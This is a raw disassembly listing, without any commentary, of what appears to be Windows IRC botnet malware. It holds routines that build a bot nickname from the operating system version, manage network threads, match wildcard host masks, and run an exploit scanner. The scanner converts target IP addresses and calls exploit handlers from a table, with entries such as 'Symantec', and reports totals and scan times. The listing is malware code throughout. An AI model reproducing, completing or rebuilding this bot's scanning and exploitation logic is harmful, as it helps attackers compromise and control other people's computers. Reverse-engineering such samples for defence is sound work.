push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_443398
mov dword ptr [ebp-94h], 94h
call dword_4270C8 ; GetVersionExA
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AEBE
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AE9E
cmp dword ptr [ebp-84h], 1
jnz short loc_40AE8E
mov esi, offset a95 ; "95"
loc_40AE8E: ; CODE XREF: .nsp0:0040AE87j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AEFA
mov esi, offset aNt_0 ; "NT"
jmp short loc_40AEFA
; ---------------------------------------------------------------------------
loc_40AE9E: ; CODE XREF: .nsp0:0040AE7Ej
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AEAE
mov esi, offset a98 ; "98"
jmp short loc_40AEFA
; ---------------------------------------------------------------------------
loc_40AEAE: ; CODE XREF: .nsp0:0040AEA5j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AEF5
mov esi, offset aMe_0 ; "ME"
jmp short loc_40AEFA
; ---------------------------------------------------------------------------
loc_40AEBE: ; CODE XREF: .nsp0:0040AE75j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AEF5
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AED7
mov esi, offset a2k ; "2K"
jmp short loc_40AEFA
; ---------------------------------------------------------------------------
loc_40AED7: ; CODE XREF: .nsp0:0040AECEj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AEE7
mov esi, offset aXp ; "XP"
jmp short loc_40AEFA
; ---------------------------------------------------------------------------
loc_40AEE7: ; CODE XREF: .nsp0:0040AEDEj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset a2k3 ; "2K3"
jz short loc_40AEFA
loc_40AEF5: ; CODE XREF: .nsp0:0040AEB5j
; .nsp0:0040AEC5j
mov esi, offset a??? ; "???"
loc_40AEFA: ; CODE XREF: .nsp0:0040AE95j
; .nsp0:0040AE9Cj ...
mov edi, [ebp+8]
push esi
push offset aS_4 ; "[%s]|"
push 1Ch
push edi
call sub_41C030
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AF3E
loc_40AF18: ; CODE XREF: .nsp0:0040AF3Cj
call sub_41BF92
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_432140
push 1Ch
push edi
call sub_41C030
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AF18
loc_40AF3E: ; CODE XREF: .nsp0:0040AF16j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF44 proc near ; CODE XREF: sub_40AFA5+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
call dword_4270A8 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
cmp eax, 64h
jbe short loc_40AF72
push eax
push offset aD_2 ; "[%d]"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C030
add esp, 10h
loc_40AF72: ; CODE XREF: sub_40AF44+18j
lea eax, [ebp+var_1C]
push eax
call sub_41B890
cmp eax, 2
pop ecx
jbe short loc_40AFA0
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C880
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BCA0
add esp, 18h
loc_40AFA0: ; CODE XREF: sub_40AF44+3Bj
mov eax, [ebp+arg_0]
leave
retn
sub_40AF44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFA5 proc near ; CODE XREF: sub_4018A1+7Fp
; sub_401A09+43p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_4341DC
loc_40AFB1: ; CODE XREF: sub_40AFA5+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AFCC
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C710
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AFD6
; ---------------------------------------------------------------------------
loc_40AFCC: ; CODE XREF: sub_40AFA5+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AFD6: ; CODE XREF: sub_40AFA5+25j
test eax, eax
jnz short loc_40AFE8
add esi, 14h
inc edi
cmp esi, offset off_434254
jl short loc_40AFB1
jmp short loc_40AFF6
; ---------------------------------------------------------------------------
loc_40AFE8: ; CODE XREF: sub_40AFA5+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_4341E0[eax*4]
pop ecx
loc_40AFF6: ; CODE XREF: sub_40AFA5+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B009
push [ebp+arg_0]
call sub_40AF44
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B009: ; CODE XREF: sub_40AFA5+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AFA5 endp
; =============== S U B R O U T I N E =======================================
sub_40B00E proc near ; CODE XREF: .nsp0:0040229Cp
; .nsp0:004024F2p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_443F20
loc_40B016: ; CODE XREF: sub_40B00E+18j
cmp byte ptr [eax], 0
jz short loc_40B02A
add eax, 234h
inc edi
cmp eax, offset dword_4D0F20
jl short loc_40B016
jmp short loc_40B075
; ---------------------------------------------------------------------------
loc_40B02A: ; CODE XREF: sub_40B00E+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_443F20[esi]
push eax
call sub_41BCA0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_444120[esi], eax
and dword_444124[esi], 0
mov eax, [esp+8+arg_8]
and dword_444128[esi], 0
mov dword_44412C[esi], eax
and byte_444138[esi], 0
pop esi
loc_40B075: ; CODE XREF: sub_40B00E+1Aj
mov eax, edi
pop edi
retn
sub_40B00E endp
; ---------------------------------------------------------------------------
byte_40B079 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00404456o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 0E8006A14h, 734F38h, 555E5F30h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 437FC8h, 0FF0C75FFh, 0E7E80875h
dd 83FFFFE8h, 0FF3314C4h, 443F20BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 2E5C68FFh, 0E8500043h, 10E1Ah, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 9FE80875h, 83FFFFE8h, 0C68124C4h
dd 234h, 20FE8147h, 7C004D0Fh, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B149 proc near ; CODE XREF: .nsp0:004095EAp
; sub_40B1D7+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B1D1
cmp esi, 400h
jge short loc_40B1D1
imul esi, 234h
push edi
push ebx
push dword_444134[esi]
lea edi, dword_444134[esi]
call near ptr 0B40000h
cmp [edi], bx
jz short loc_40B181
push 1
pop ebp
loc_40B181: ; CODE XREF: sub_40B149+33j
mov [edi], ebx
lea edi, dword_444128[esi]
mov dword_444120[esi], ebx
mov dword_444124[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B1A2
push eax
call sub_41A252
pop ecx
loc_40B1A2: ; CODE XREF: sub_40B149+50j
mov [edi], ebx
lea edi, dword_44412C[esi]
mov byte ptr dword_443F20[esi], bl
mov byte_444138[esi], bl
push dword ptr [edi]
call dword_4D1288 ; closesocket
lea esi, dword_444130[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4D1288 ; closesocket
mov [esi], ebx
pop edi
loc_40B1D1: ; CODE XREF: sub_40B149+Dj
; sub_40B149+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B149 endp
; =============== S U B R O U T I N E =======================================
sub_40B1D7 proc near ; CODE XREF: sub_401135+18p
; .nsp0:00404A3Ap ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_443F20
loc_40B1E3: ; CODE XREF: sub_40B1D7+2Aj
cmp byte ptr [esi], 0
jz short loc_40B1F4
push edi
call sub_40B149
test eax, eax
pop ecx
jz short loc_40B1F4
inc ebx
loc_40B1F4: ; CODE XREF: sub_40B1D7+Fj
; sub_40B1D7+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4D0F20
jl short loc_40B1E3
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B1D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B209 proc near ; CODE XREF: .nsp0:00405C70p
; .nsp0:00405DBFp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_444124
loc_40B21D: ; CODE XREF: sub_40B209+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B23F
test edi, edi
jle short loc_40B231
cmp [esi], edi
jz short loc_40B231
cmp ebx, edi
jnz short loc_40B23F
loc_40B231: ; CODE XREF: sub_40B209+1Ej
; sub_40B209+22j
push ebx
call sub_40B149
test eax, eax
pop ecx
jz short loc_40B23F
inc [ebp+var_4]
loc_40B23F: ; CODE XREF: sub_40B209+1Aj
; sub_40B209+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4D1124
jl short loc_40B21D
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B209 endp
; =============== S U B R O U T I N E =======================================
sub_40B256 proc near ; CODE XREF: .nsp0:0040246Bp
; .nsp0:0040381Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_444120
loc_40B25D: ; CODE XREF: sub_40B256+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B266
inc eax
loc_40B266: ; CODE XREF: sub_40B256+Dj
add ecx, 234h
cmp ecx, offset dword_4D1120
jl short loc_40B25D
retn
sub_40B256 endp
; =============== S U B R O U T I N E =======================================
sub_40B275 proc near ; CODE XREF: .nsp0:00403EFBp
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_444120
loc_40B27F: ; CODE XREF: sub_40B275+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B298
add ecx, 234h
inc edx
cmp ecx, offset dword_4D1120
jl short loc_40B27F
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B298: ; CODE XREF: sub_40B275+10j
mov eax, edx
pop esi
retn
sub_40B275 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B29C proc near ; CODE XREF: .nsp0:00402B55p
; .nsp0:00402D5Bp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B2B5
push [ebp+arg_1C]
call sub_41BE29
pop ecx
loc_40B2B5: ; CODE XREF: sub_40B29C+Ej
push eax
push [ebp+arg_18]
call sub_40B209
pop ecx
test eax, eax
pop ecx
jle short loc_40B2E1
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41BF36
add esp, 14h
jmp short loc_40B2FB
; ---------------------------------------------------------------------------
loc_40B2E1: ; CODE XREF: sub_40B29C+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41BF36
add esp, 10h
loc_40B2FB: ; CODE XREF: sub_40B29C+43j
cmp [ebp+arg_C], 0
jnz short loc_40B31B
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_40B31B: ; CODE XREF: sub_40B29C+63j
lea eax, [ebp+var_200]
push eax
call sub_4157A6
pop ecx
leave
retn
sub_40B29C endp
; =============== S U B R O U T I N E =======================================
sub_40B32A proc near ; CODE XREF: sub_4018A1+159p
; .nsp0:0040B957p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_444134[eax], ecx
mov dword_444120[eax], ecx
mov dword_444124[eax], ecx
mov dword_444128[eax], ecx
mov dword_44412C[eax], ecx
mov dword_444130[eax], ecx
mov byte ptr dword_443F20[eax], cl
mov byte_444138[eax], cl
retn
sub_40B32A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B367 proc near ; CODE XREF: .nsp0:00409875p
; sub_40B495+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B371: ; CODE XREF: sub_40B367+68j
mov cl, [esi]
test cl, cl
jz short loc_40B3D1
cmp eax, 1
jnz short loc_40B3D1
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B3D1
cmp cl, 2Ah
jz short loc_40B3B8
cmp cl, 3Fh
jz short loc_40B39B
cmp cl, 5Bh
jz short loc_40B3A0
xor eax, eax
cmp cl, dl
setz al
loc_40B39B: ; CODE XREF: sub_40B367+26j
inc [ebp+arg_4]
jmp short loc_40B3CB
; ---------------------------------------------------------------------------
loc_40B3A0: ; CODE XREF: sub_40B367+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B3FD
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B3CB
; ---------------------------------------------------------------------------
loc_40B3B8: ; CODE XREF: sub_40B367+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B495
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B3CB: ; CODE XREF: sub_40B367+37j
; sub_40B367+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B371
; ---------------------------------------------------------------------------
loc_40B3D1: ; CODE XREF: sub_40B367+Ej
; sub_40B367+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B3E1
cmp eax, 1
jnz short loc_40B3F8
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B3D1
; ---------------------------------------------------------------------------
loc_40B3E1: ; CODE XREF: sub_40B367+6Dj
cmp eax, 1
jnz short loc_40B3F8
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B3F8
cmp byte ptr [esi], 0
jnz short loc_40B3F8
push 1
pop eax
jmp short loc_40B3FA
; ---------------------------------------------------------------------------
loc_40B3F8: ; CODE XREF: sub_40B367+72j
; sub_40B367+7Dj ...
xor eax, eax
loc_40B3FA: ; CODE XREF: sub_40B367+8Fj
pop esi
pop ebp
retn
sub_40B367 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B3FD proc near ; CODE XREF: sub_40B367+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40B41E
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40B41E: ; CODE XREF: sub_40B3FD+19j
push ebx
push esi
loc_40B420: ; CODE XREF: sub_40B3FD+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40B42E
cmp [ebp+var_4], eax
jnz short loc_40B47A
loc_40B42E: ; CODE XREF: sub_40B3FD+2Aj
test edi, edi
jnz short loc_40B46F
cmp bl, 2Dh
jnz short loc_40B463
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40B463
cmp al, 5Dh
jz short loc_40B463
cmp [ebp+var_4], edi
jnz short loc_40B463
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40B46F
cmp bl, al
jg short loc_40B46F
push 1
mov [edx], esi
pop edi
jmp short loc_40B46F
; ---------------------------------------------------------------------------
loc_40B463: ; CODE XREF: sub_40B3FD+38j
; sub_40B3FD+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40B46F
push 1
pop edi
loc_40B46F: ; CODE XREF: sub_40B3FD+33j
; sub_40B3FD+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40B420
; ---------------------------------------------------------------------------
loc_40B47A: ; CODE XREF: sub_40B3FD+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40B487
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40B487: ; CODE XREF: sub_40B3FD+82j
cmp edi, eax
jnz short loc_40B490
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40B490: ; CODE XREF: sub_40B3FD+8Cj
mov eax, edi
pop edi
leave
retn
sub_40B3FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B495 proc near ; CODE XREF: sub_40B367+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40B4B1: ; CODE XREF: sub_40B495+3Aj
cmp [eax], bl
jz short loc_40B4D1
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40B4C6
cmp cl, 2Ah
jnz short loc_40B4D1
cmp cl, 3Fh
jnz short loc_40B4C9
loc_40B4C6: ; CODE XREF: sub_40B495+25j
inc eax
mov [edi], eax
loc_40B4C9: ; CODE XREF: sub_40B495+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40B4B1
; ---------------------------------------------------------------------------
loc_40B4D1: ; CODE XREF: sub_40B495+1Ej
; sub_40B495+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40B4DC
inc dword ptr [esi]
jmp short loc_40B4D1
; ---------------------------------------------------------------------------
loc_40B4DC: ; CODE XREF: sub_40B495+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40B4FD
mov edx, [esi]
cmp [edx], bl
jz short loc_40B4EE
xor eax, eax
jmp short loc_40B55D
; ---------------------------------------------------------------------------
loc_40B4EE: ; CODE XREF: sub_40B495+53j
cmp cl, bl
jnz short loc_40B4FD
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40B4FD
push 1
pop eax
jmp short loc_40B55D
; ---------------------------------------------------------------------------
loc_40B4FD: ; CODE XREF: sub_40B495+4Dj
; sub_40B495+5Bj ...
push eax
push dword ptr [esi]
call sub_40B367
pop ecx
test eax, eax
pop ecx
jnz short loc_40B547
loc_40B50B: ; CODE XREF: sub_40B495+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40B50F: ; CODE XREF: sub_40B495+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40B527
cmp cl, 5Bh
jz short loc_40B527
cmp dl, bl
jz short loc_40B527
inc eax
mov [edi], eax
jmp short loc_40B50F
; ---------------------------------------------------------------------------
loc_40B527: ; CODE XREF: sub_40B495+82j
; sub_40B495+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40B53E
push eax
push dword ptr [esi]
call sub_40B367
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B543
; ---------------------------------------------------------------------------
loc_40B53E: ; CODE XREF: sub_40B495+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40B543: ; CODE XREF: sub_40B495+A7j
cmp eax, ebx
jnz short loc_40B50B
loc_40B547: ; CODE XREF: sub_40B495+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40B55A
mov eax, [esi]
cmp [eax], bl
jnz short loc_40B55A
mov [ebp+var_4], 1
loc_40B55A: ; CODE XREF: sub_40B495+B6j
; sub_40B495+BCj
mov eax, [ebp+var_4]
loc_40B55D: ; CODE XREF: sub_40B495+57j
; sub_40B495+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40B495 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B562 proc near ; CODE XREF: .nsp0:004045ECp
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_438524
push eax
xor ebx, ebx
call sub_41BF36
cmp dword_438048, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40B5D4
push esi
mov esi, offset dword_438050
loc_40B595: ; CODE XREF: sub_40B562+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40B5CA
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_438518
push eax
call sub_41BF36
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C880
add esp, 1Ch
loc_40B5CA: ; CODE XREF: sub_40B562+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40B595
pop esi
loc_40B5D4: ; CODE XREF: sub_40B562+2Bj
push dword_4D0F24
call sub_41B12D
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41BF36
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C880
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_200]
push eax
call sub_4157A6
add esp, 38h
pop edi
pop ebx
leave
retn
sub_40B562 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B630 proc near ; CODE XREF: .nsp0:004045D6p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
mov eax, dword_4D3D00
mov ecx, dword_4D3CFC
push esi
push dword_4D0F24
lea esi, [ecx+eax]
call sub_41B12D
push eax
push esi
push dword_4D3D00
lea eax, [ebp+var_200]
push dword_4D3CFC
push offset unk_438544
push eax
call sub_41BF36
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_200]
push eax
call sub_4157A6
add esp, 34h
pop esi
leave
retn
sub_40B630 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B69B proc near ; CODE XREF: .nsp0:004045C0p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push dword_4D0F24
call sub_41B12D
push eax
lea eax, [ebp+var_200]
push dword_4D3F44
push offset unk_43858C
push eax
call sub_41BF36
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_200]
push eax
call sub_4157A6
add esp, 2Ch
leave
retn
sub_40B69B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B6EF proc near ; CODE XREF: .nsp0:004045AAp
var_1000 = byte ptr -1000h
var_800 = byte ptr -800h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C1D0
push edi
lea eax, [ebp+var_800]
push offset dword_4385D8
push eax
call sub_41BF36
cmp dword_438048, 0
pop ecx
pop ecx
mov edi, 800h
jz short loc_40B75B
push esi
mov esi, offset aSymantec ; "Symantec"
loc_40B724: ; CODE XREF: sub_40B6EF+69j
lea eax, [esi-0Ah]
push eax
push esi
lea eax, [ebp+var_1000]
push offset dword_4385C8
push eax
call sub_41BF36
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C880
add esi, 40h
add esp, 1Ch
cmp dword ptr [esi+1Eh], 0
jnz short loc_40B724
pop esi
loc_40B75B: ; CODE XREF: sub_40B6EF+2Dj
push dword_4D0F24
call sub_41B12D
push eax
lea eax, [ebp+var_1000]
push offset aScanTimeS_ ; " Scan Time: %s."
push eax
call sub_41BF36
lea eax, [ebp+var_1000]
push edi
push eax
lea eax, [ebp+var_800]
push eax
call sub_41C880
push 0
lea eax, [ebp+var_800]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_800]
push eax
call sub_4157A6
add esp, 34h
pop edi
leave
retn
sub_40B6EF endp
; ---------------------------------------------------------------------------
byte_40B7B5 db 55h, 8Bh, 0ECh ; DATA XREF: .nsp0:00404BF0o
; ---------------------------------------------------------------------------
sub esp, 3F0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Bh
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
mov dword ptr [eax+128h], 1
lea eax, [ebp-134h]
push eax
call dword_4D1230 ; inet_addr
xor edi, edi
mov [ebp-8], eax
cmp dword_438048, edi
mov [ebp-4], edi
mov [ebp+8], edi
jz loc_40B913
mov ebx, offset dword_438048
mov eax, ebx
loc_40B806: ; CODE XREF: .nsp0:0040B90Dj
push dword ptr [ebp-1Ch]
push dword ptr [eax]
push dword ptr [ebp-8]
call sub_40BF97
add esp, 0Ch
cmp eax, 1
jnz loc_40B903
push dword ptr [ebx]
lea esi, [ebx-28h]
lea eax, [ebp-134h]
push eax
lea eax, [esi+0Ah]
push eax
lea eax, [ebp-3F0h]
push offset unk_438628
push eax
call sub_41BF36
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_4099D2
lea eax, [ebp-3F0h]
push eax
call sub_4157A6
lea eax, [ebp-134h]
push eax
lea eax, [ebp-1ECh]
push eax
call sub_41BF36
lea eax, [ebp-15Ch]
push esi
push eax
call sub_41BF36
add esp, 3Ch
cmp byte ptr [ebp-0A4h], 0
lea eax, [ebp-0A4h]
jnz short loc_40B89E
lea eax, [ebp-124h]
loc_40B89E: ; CODE XREF: .nsp0:0040B896j
push eax
lea eax, [ebp-1DCh]
push eax
call sub_41BF36
mov eax, [ebp-24h]
pop ecx
mov [ebp-1F0h], eax
mov eax, [ebp-14h]
mov [ebp-140h], eax
mov eax, [ebp-10h]
pop ecx
mov [ebp-13Ch], eax
mov eax, [ebx]
sub esp, 0BCh
mov [ebp-150h], eax
mov eax, [ebp-18h]
push 2Fh
mov [ebp-14Ch], eax
mov eax, [ebp+8]
pop ecx
lea esi, [ebp-1F0h]
mov edi, esp
mov [ebp-148h], eax
rep movsd
call dword ptr [ebx+4]
add esp, 0BCh
inc dword ptr [ebp-4]
xor edi, edi
loc_40B903: ; CODE XREF: .nsp0:0040B819j
inc dword ptr [ebp+8]
add ebx, 40h
mov eax, ebx
cmp [ebx], edi
jnz loc_40B806
loc_40B913: ; CODE XREF: .nsp0:0040B7F9j
push dword ptr [ebp-4]
lea eax, [ebp-134h]
push eax
lea eax, [ebp-3F0h]
push offset unk_4385F4
push eax
call sub_41BF36
push edi
lea eax, [ebp-3F0h]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-124h]
push eax
push dword ptr [ebp-24h]
call sub_4099D2
lea eax, [ebp-3F0h]
push eax
call sub_4157A6
push dword ptr [ebp-18h]
call sub_40B32A
add esp, 2Ch
push edi
; ---------------------------------------------------------------------------
dd 73469BE8h
db 0, 20h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B966 proc near ; CODE XREF: .nsp0:00403F16p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 0Bh
call sub_40B256
test eax, eax
pop ecx
jle short loc_40B9A2
mov eax, [ebp+arg_C]
push dword_4D1340[eax*8]
call dword_4D127C ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_438678
push eax
call sub_41BF36
add esp, 0Ch
jmp short loc_40B9B5
